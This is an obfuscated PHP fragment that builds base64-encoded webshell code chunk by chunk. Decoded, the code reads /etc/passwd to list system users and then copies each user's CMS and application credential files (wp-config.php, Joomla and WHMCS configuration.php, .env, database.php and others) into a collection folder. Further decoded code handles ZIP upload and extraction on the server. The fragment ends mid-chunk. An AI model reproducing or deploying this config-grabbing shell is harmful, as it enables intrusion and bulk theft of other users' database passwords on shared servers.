$z .= "cmVk";
$z .= "PkNh";
$z .= "bid0";
$z .= "IHJl";
$z .= "YWQg";
$z .= "L2V0";
$z .= "Yy9w";
$z .= "YXNz";
$z .= "d2Q8";
$z .= "L2Zv";
$z .= "bnQ+";
$z .= "IjsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fSBl";
$z .= "bHNl";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHBy";
$z .= "ZWdf";
$z .= "bWF0";
$z .= "Y2hf";
$z .= "YWxs";
$z .= "KCcv";
$z .= "KC4q";
$z .= "Pyk6";
$z .= "eDov";
$z .= "Jywg";
$z .= "JHBh";
$z .= "c3N3";
$z .= "ZCwg";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Z2Zp";
$z .= "Zyk7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGZv";
$z .= "cmVh";
$z .= "Y2gg";
$z .= "KCR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWdm";
$z .= "aWdb";
$z .= "MV0g";
$z .= "YXMg";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Zykg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWdm";
$z .= "aWdf";
$z .= "ZGly";
$z .= "ID0g";
$z .= "Ii9o";
$z .= "b21l";
$z .= "LyR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWcv";
$z .= "cHVi";
$z .= "bGlj";
$z .= "X2h0";
$z .= "bWwv";
$z .= "IjsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGlm";
$z .= "IChp";
$z .= "c19y";
$z .= "ZWFk";
$z .= "YWJs";
$z .= "ZSgk";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "Zmln";
$z .= "X2Rp";
$z .= "cikp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGdy";
$z .= "YWJf";
$z .= "Y29u";
$z .= "Zmln";
$z .= "ID0g";
$z .= "Ww0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Ii9o";
$z .= "b21l";
$z .= "LyR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWcv";
$z .= "cHVi";
$z .= "bGlj";
$z .= "X2h0";
$z .= "bWwv";
$z .= "d3At";
$z .= "Y29u";
$z .= "Zmln";
$z .= "LnBo";
$z .= "cCIg";
$z .= "PT4g";
$z .= "Indv";
$z .= "cmRw";
$z .= "cmVz";
$z .= "cyIs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAi";
$z .= "L2hv";
$z .= "bWUv";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Zy9w";
$z .= "dWJs";
$z .= "aWNf";
$z .= "aHRt";
$z .= "bC9j";
$z .= "b25m";
$z .= "aWd1";
$z .= "cmF0";
$z .= "aW9u";
$z .= "LnBo";
$z .= "cCIg";
$z .= "PT4g";
$z .= "Impv";
$z .= "b21s";
$z .= "YS1v";
$z .= "ci13";
$z .= "aG1j";
$z .= "cyIs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAi";
$z .= "L2hv";
$z .= "bWUv";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Zy9w";
$z .= "dWJs";
$z .= "aWNf";
$z .= "aHRt";
$z .= "bC9i";
$z .= "bG9n";
$z .= "L3dw";
$z .= "LWNv";
$z .= "bmZp";
$z .= "Zy5w";
$z .= "aHAi";
$z .= "ID0+";
$z .= "ICJ3";
$z .= "b3Jk";
$z .= "cHJl";
$z .= "c3Mi";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Ii9o";
$z .= "b21l";
$z .= "LyR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWcv";
$z .= "cHVi";
$z .= "bGlj";
$z .= "X2h0";
$z .= "bWwv";
$z .= "Ymxv";
$z .= "Zy9j";
$z .= "b25m";
$z .= "aWd1";
$z .= "cmF0";
$z .= "aW9u";
$z .= "LnBo";
$z .= "cCIg";
$z .= "PT4g";
$z .= "Impv";
$z .= "b21s";
$z .= "YSIs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAi";
$z .= "L2hv";
$z .= "bWUv";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Zy9w";
$z .= "dWJs";
$z .= "aWNf";
$z .= "aHRt";
$z .= "bC93";
$z .= "cC93";
$z .= "cC1j";
$z .= "b25m";
$z .= "aWcu";
$z .= "cGhw";
$z .= "IiA9";
$z .= "PiAi";
$z .= "d29y";
$z .= "ZHBy";
$z .= "ZXNz";
$z .= "IiwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICIv";
$z .= "aG9t";
$z .= "ZS8k";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "L3B1";
$z .= "Ymxp";
$z .= "Y19o";
$z .= "dG1s";
$z .= "L3dv";
$z .= "cmRw";
$z .= "cmVz";
$z .= "cy93";
$z .= "cC1j";
$z .= "b25m";
$z .= "aWcu";
$z .= "cGhw";
$z .= "IiA9";
$z .= "PiAi";
$z .= "d29y";
$z .= "ZHBy";
$z .= "ZXNz";
$z .= "IiwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICIv";
$z .= "aG9t";
$z .= "ZS8k";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "L3B1";
$z .= "Ymxp";
$z .= "Y19o";
$z .= "dG1s";
$z .= "L2Nv";
$z .= "bmZp";
$z .= "Zy5w";
$z .= "aHAi";
$z .= "ID0+";
$z .= "ICI0";
$z .= "aW1h";
$z .= "Z2Vz";
$z .= "IiwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICIv";
$z .= "aG9t";
$z .= "ZS8k";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "L3B1";
$z .= "Ymxp";
$z .= "Y19o";
$z .= "dG1s";
$z .= "L3do";
$z .= "bWNz";
$z .= "L2Nv";
$z .= "bmZp";
$z .= "Z3Vy";
$z .= "YXRp";
$z .= "b24u";
$z .= "cGhw";
$z .= "IiA9";
$z .= "PiAi";
$z .= "d2ht";
$z .= "Y3Mi";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Ii9o";
$z .= "b21l";
$z .= "LyR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWcv";
$z .= "cHVi";
$z .= "bGlj";
$z .= "X2h0";
$z .= "bWwv";
$z .= "c3Vw";
$z .= "cG9y";
$z .= "dC9j";
$z .= "b25m";
$z .= "aWd1";
$z .= "cmF0";
$z .= "aW9u";
$z .= "LnBo";
$z .= "cCIg";
$z .= "PT4g";
$z .= "InN1";
$z .= "cHBv";
$z .= "cnR3";
$z .= "aG1j";
$z .= "cyIs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAi";
$z .= "L2hv";
$z .= "bWUv";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Zy9w";
$z .= "dWJs";
$z .= "aWNf";
$z .= "aHRt";
$z .= "bC9z";
$z .= "ZWN1";
$z .= "cmUv";
$z .= "Y29u";
$z .= "Zmln";
$z .= "dXJh";
$z .= "dGlv";
$z .= "bi5w";
$z .= "aHAi";
$z .= "ID0+";
$z .= "ICJz";
$z .= "ZWN1";
$z .= "cmV3";
$z .= "aG1j";
$z .= "cyIs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAi";
$z .= "L2hv";
$z .= "bWUv";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Zy9w";
$z .= "dWJs";
$z .= "aWNf";
$z .= "aHRt";
$z .= "bC9j";
$z .= "bGll";
$z .= "bnRz";
$z .= "L2Nv";
$z .= "bmZp";
$z .= "Z3Vy";
$z .= "YXRp";
$z .= "b24u";
$z .= "cGhw";
$z .= "IiA9";
$z .= "PiAi";
$z .= "Y2xp";
$z .= "ZW50";
$z .= "c3do";
$z .= "bWNz";
$z .= "IiwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICIv";
$z .= "aG9t";
$z .= "ZS8k";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "L3B1";
$z .= "Ymxp";
$z .= "Y19o";
$z .= "dG1s";
$z .= "L2Ns";
$z .= "aWVu";
$z .= "dC9j";
$z .= "b25m";
$z .= "aWd1";
$z .= "cmF0";
$z .= "aW9u";
$z .= "LnBo";
$z .= "cCIg";
$z .= "PT4g";
$z .= "ImNs";
$z .= "aWVu";
$z .= "dHdo";
$z .= "bWNz";
$z .= "IiwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICIv";
$z .= "aG9t";
$z .= "ZS8k";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "L3B1";
$z .= "Ymxp";
$z .= "Y19o";
$z .= "dG1s";
$z .= "L2Jp";
$z .= "bGxp";
$z .= "bmcv";
$z .= "Y29u";
$z .= "Zmln";
$z .= "dXJh";
$z .= "dGlv";
$z .= "bi5w";
$z .= "aHAi";
$z .= "ID0+";
$z .= "ICJi";
$z .= "aWxs";
$z .= "aW5n";
$z .= "d2ht";
$z .= "Y3Mi";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Ii9o";
$z .= "b21l";
$z .= "LyR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWcv";
$z .= "cHVi";
$z .= "bGlj";
$z .= "X2h0";
$z .= "bWwv";
$z .= "YWRt";
$z .= "aW4v";
$z .= "Y29u";
$z .= "Zmln";
$z .= "LnBo";
$z .= "cCIg";
$z .= "PT4g";
$z .= "Ik9w";
$z .= "ZW5j";
$z .= "YXJ0";
$z .= "IiwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICIv";
$z .= "aG9t";
$z .= "ZS8k";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "L3B1";
$z .= "Ymxp";
$z .= "Y19o";
$z .= "dG1s";
$z .= "Ly5l";
$z .= "bnYi";
$z .= "ID0+";
$z .= "ICJl";
$z .= "bnYi";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Ii9o";
$z .= "b21l";
$z .= "LyR1";
$z .= "c2Vy";
$z .= "X0F2";
$z .= "YWFj";
$z .= "b25m";
$z .= "aWcv";
$z .= "cHVi";
$z .= "bGlj";
$z .= "X2h0";
$z .= "bWwv";
$z .= "YXBw";
$z .= "bGlj";
$z .= "YXRp";
$z .= "b24v";
$z .= "Y29u";
$z .= "Zmln";
$z .= "L2Rh";
$z .= "dGFi";
$z .= "YXNl";
$z .= "LnBo";
$z .= "cCIg";
$z .= "PT4g";
$z .= "ImVs";
$z .= "aXNh";
$z .= "YiIs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAi";
$z .= "L2hv";
$z .= "bWUv";
$z .= "JHVz";
$z .= "ZXJf";
$z .= "QXZh";
$z .= "YWNv";
$z .= "bmZp";
$z .= "Zy9w";
$z .= "dWJs";
$z .= "aWNf";
$z .= "aHRt";
$z .= "bC9p";
$z .= "bmNs";
$z .= "dWRl";
$z .= "cy9j";
$z .= "b25m";
$z .= "aWcu";
$z .= "cGhw";
$z .= "IiA9";
$z .= "PiAi";
$z .= "Zm9y";
$z .= "dW0i";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IF07";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Zm9y";
$z .= "ZWFj";
$z .= "aCAo";
$z .= "JGdy";
$z .= "YWJf";
$z .= "Y29u";
$z .= "Zmln";
$z .= "IGFz";
$z .= "ICRj";
$z .= "b25m";
$z .= "aWcg";
$z .= "PT4g";
$z .= "JG5h";
$z .= "bWFf";
$z .= "Y29u";
$z .= "Zmln";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "YW1i";
$z .= "aWxf";
$z .= "Y29u";
$z .= "Zmln";
$z .= "ID0g";
$z .= "QGZp";
$z .= "bGVf";
$z .= "Z2V0";
$z .= "X2Nv";
$z .= "bnRl";
$z .= "bnRz";
$z .= "KCRj";
$z .= "b25m";
$z .= "aWcp";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "JGFt";
$z .= "Ymls";
$z .= "X2Nv";
$z .= "bmZp";
$z .= "ZyA9";
$z .= "PSAn";
$z .= "Jykg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "CWlm";
$z .= "ICgk";
$z .= "YW1i";
$z .= "aWxf";
$z .= "Y29u";
$z .= "Zmln";
$z .= "ICE9";
$z .= "PSBm";
$z .= "YWxz";
$z .= "ZSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fSBl";
$z .= "bHNl";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IAkN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "Zmls";
$z .= "ZV9j";
$z .= "b25m";
$z .= "aWcg";
$z .= "PSBA";
$z .= "Zm9w";
$z .= "ZW4o";
$z .= "IkF2";
$z .= "YWFf";
$z .= "Y29u";
$z .= "Zmln";
$z .= "cy8k";
$z .= "dXNl";
$z .= "cl9B";
$z .= "dmFh";
$z .= "Y29u";
$z .= "Zmln";
$z .= "LSRu";
$z .= "YW1h";
$z .= "X2Nv";
$z .= "bmZp";
$z .= "Zy50";
$z .= "eHQi";
$z .= "LCAi";
$z .= "dyIp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IEBm";
$z .= "cHV0";
$z .= "cygk";
$z .= "Zmls";
$z .= "ZV9j";
$z .= "b25m";
$z .= "aWcs";
$z .= "ICRh";
$z .= "bWJp";
$z .= "bF9j";
$z .= "b25m";
$z .= "aWcp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "JHJl";
$z .= "c3Bv";
$z .= "bnNl";
$z .= "TWVz";
$z .= "c2Fn";
$z .= "ZSA9";
$z .= "ICI8";
$z .= "Y2Vu";
$z .= "dGVy";
$z .= "Pjxh";
$z .= "IGhy";
$z .= "ZWY9";
$z .= "Jz9k";
$z .= "aXI9";
$z .= "JGN1";
$z .= "cnJl";
$z .= "bnRE";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnkv";
$z .= "QXZh";
$z .= "YV9j";
$z .= "b25m";
$z .= "aWdz";
$z .= "Jz5E";
$z .= "b25l";
$z .= "IFRv";
$z .= "dWNo";
$z .= "IE1l";
$z .= "PC9h";
$z .= "Pjwv";
$z .= "Y2Vu";
$z .= "dGVy";
$z .= "PiI7";
$z .= "DQp9";
$z .= "DQpp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JF9Q";
$z .= "T1NU";
$z .= "Wydl";
$z .= "eHRy";
$z .= "YWN0";
$z .= "LXpp";
$z .= "cCdd";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICRl";
$z .= "eHRy";
$z .= "YWN0";
$z .= "Wmlw";
$z .= "Rmls";
$z .= "ZSA9";
$z .= "ICRf";
$z .= "RklM";
$z .= "RVNb";
$z .= "J2V4";
$z .= "dHJh";
$z .= "Y3Qt";
$z .= "emlw";
$z .= "LWZp";
$z .= "bGUn";
$z .= "XVsn";
$z .= "bmFt";
$z .= "ZSdd";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICRl";
$z .= "eHRy";
$z .= "YWN0";
$z .= "Wmlw";
$z .= "UGF0";
$z .= "aCA9";
$z .= "ICRj";
$z .= "dXJy";
$z .= "ZW50";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "IC4g";
$z .= "Jy8n";
$z .= "IC4g";
$z .= "JGV4";
$z .= "dHJh";
$z .= "Y3Ra";
$z .= "aXBG";
$z .= "aWxl";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "JHpp";
$z .= "cCA9";
$z .= "IG5l";
$z .= "dyBa";
$z .= "aXBB";
$z .= "cmNo";
$z .= "aXZl";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICgk";
$z .= "emlw";
$z .= "LT5v";
$z .= "cGVu";
$z .= "KCRl";
$z .= "eHRy";
$z .= "YWN0";
$z .= "Wmlw";
$z .= "UGF0";
$z .= "aCkg";
$z .= "PT09";
$z .= "IFRS";
$z .= "VUUp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JHpp";
$z .= "cC0+";
$z .= "ZXh0";
$z .= "cmFj";
$z .= "dFRv";
$z .= "KCRj";
$z .= "dXJy";
$z .= "ZW50";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JHpp";
$z .= "cC0+";
$z .= "Y2xv";
$z .= "c2Uo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JHJl";
$z .= "c3Bv";
$z .= "bnNl";
$z .= "TWVz";
$z .= "c2Fn";
$z .= "ZSA9";
$z .= "ICda";
$z .= "SVAg";
$z .= "Zmls";
$z .= "ZSBl";
$z .= "eHRy";
$z .= "YWN0";
$z .= "ZWQg";
$z .= "c3Vj";
$z .= "Y2Vz";
$z .= "c2Z1";
$z .= "bGx5";
$z .= "Lic7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHVu";
$z .= "bGlu";
$z .= "aygk";
$z .= "ZXh0";
$z .= "cmFj";
$z .= "dFpp";
$z .= "cFBh";
$z .= "dGgp";
$z .= "OyAv";
$z .= "LyBE";
$z .= "ZWxl";
$z .= "dGUg";
$z .= "dGhl";
$z .= "IHVw";
$z .= "bG9h";
$z .= "ZGVk";
$z .= "IFpJ";
$z .= "UCBm";
$z .= "aWxl";
$z .= "IGFm";
$z .= "dGVy";
$z .= "IGV4";
$z .= "dHJh";
$z .= "Y3Rp";
$z .= "b24N";
$z .= "CiAg";
$z .= "ICB9";
$z .= "IGVs";
$z .= "c2Ug";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZXJy";
$z .= "b3JN";
$z .= "ZXNz";
$z .= "YWdl";
$z .= "ID0g";
$z .= "J0Vy";
$z .= "cm9y";
$z .= "IGV4";
$z .= "dHJh";
$z .= "Y3Rp";
$z .= "bmcg";
$z .= "WklQ";
$z .= "IGZp";
$z .= "bGUu";
$z .= "JzsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQp9";
$z .= "DQoN";
$z .= "Cmlm";
$z .= "IChp";
$z .= "c3Nl";
$z .= "dCgk";
$z .= "X1BP";
$z .= "U1Rb";
$z .= "J3pp";
$z .= "cCdd";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICR6";
$z .= "aXBG";
$z .= "aWxl";
$z .= "ID0g";
$z .= "JF9Q";
$z .= "T1NU";
$z .= "Wyd6";
$z .= "aXAt";
$z .= "Zmls";
$z .= "ZSdd";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICR6";
$z .= "aXBG";
$z .= "aWxl";
$z .= "TmFt";
$z .= "ZSA9";
$z .= "ICRj";
$z .= "dXJy";
$z .= "ZW50";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "IC4g";
$z .= "Jy8n";
$z .= "IC4g";
$z .= "YmFz";
$z .= "ZW5h";
$z .= "bWUo";
$z .= "JHpp";
$z .= "cEZp";
$z .= "bGUp";
$z .= "IC4g";
$z .= "Jy56";
$z .= "aXAn";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IA0K";
$z .= "ICAg";
$z .= "ICR6";
$z .= "aXAg";
$z .= "PSBu";
$z .= "ZXcg";
$z .= "Wmlw";
$z .= "QXJj";
$z .= "aGl2";
$z .= "ZTsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "JHpp";
$z .= "cC0+";
$z .= "b3Bl";
$z .= "bigk";
$z .= "emlw";
$z .= "Rmls";
$z .= "ZU5h";
$z .= "bWUs";
$z .= "IFpp";
$z .= "cEFy";
$z .= "Y2hp";
$z .= "dmU6";
$z .= "OkNS";
$z .= "RUFU";
$z .= "RSkg";
$z .= "PT09";
$z .= "IFRS";
$z .= "VUUp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KGlz";
$z .= "X2Rp";
$z .= "cigk";
$z .= "emlw";
$z .= "Rmls";
$z .= "ZSkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRm";
$z .= "aWxl";
$z .= "cyA9";
$z .= "IG5l";
$z .= "dyBS";
$z .= "ZWN1";
$z .= "cnNp";
$z .= "dmVJ";
$z .= "dGVy";
$z .= "YXRv";
$z .= "ckl0";
$z .= "ZXJh";
$z .= "dG9y";
$z .= "KG5l";
$z .= "dyBS";
$z .= "ZWN1";
$z .= "cnNp";
$z .= "dmVE";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnlJ";
$z .= "dGVy";
$z .= "YXRv";
$z .= "cigk";
$z .= "emlw";
$z .= "Rmls";
$z .= "ZSkp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Zm9y";
$z .= "ZWFj";
$z .= "aCAo";
$z .= "JGZp";
$z .= "bGVz";
$z .= "IGFz";
$z .= "ICRm";
$z .= "aWxl";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCEk";
$z .= "Zmls";
$z .= "ZS0+";
$z .= "aXNE";
$z .= "aXIo";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "Zmls";
$z .= "ZVBh";
$z .= "dGgg";
$z .= "PSAk";
$z .= "Zmls";
$z .= "ZS0+";
$z .= "Z2V0";
$z .= "UmVh";
$z .= "bFBh";
$z .= "dGgo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JHJl";
$z .= "bGF0";
$z .= "aXZl";
$z .= "UGF0";
$z .= "aCA9";
$z .= "IHN1";
$z .= "YnN0";
$z .= "cigk";
$z .= "Zmls";
$z .= "ZVBh";
$z .= "dGgs";
$z .= "IHN0";
$z .= "cmxl";
$z .= "bigk";
$z .= "emlw";
$z .= "Rmls";
$z .= "ZSkg";
$z .= "KyAx";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JHpp";
$z .= "cC0+";
$z .= "YWRk";
$z .= "Rmls";
$z .= "ZSgk";
$z .= "Zmls";
$z .= "ZVBh";
$z .= "dGgs";
$z .= "ICRy";
$z .= "ZWxh";
$z .= "dGl2";
$z .= "ZVBh";
$z .= "dGgp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fSBl";
$z .= "bHNl";
$z .= "aWYg";
$z .= "KGlz";
$z .= "X2Zp";
$z .= "bGUo";
$z .= "JHpp";
$z .= "cEZp";
$z .= "bGUp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "emlw";
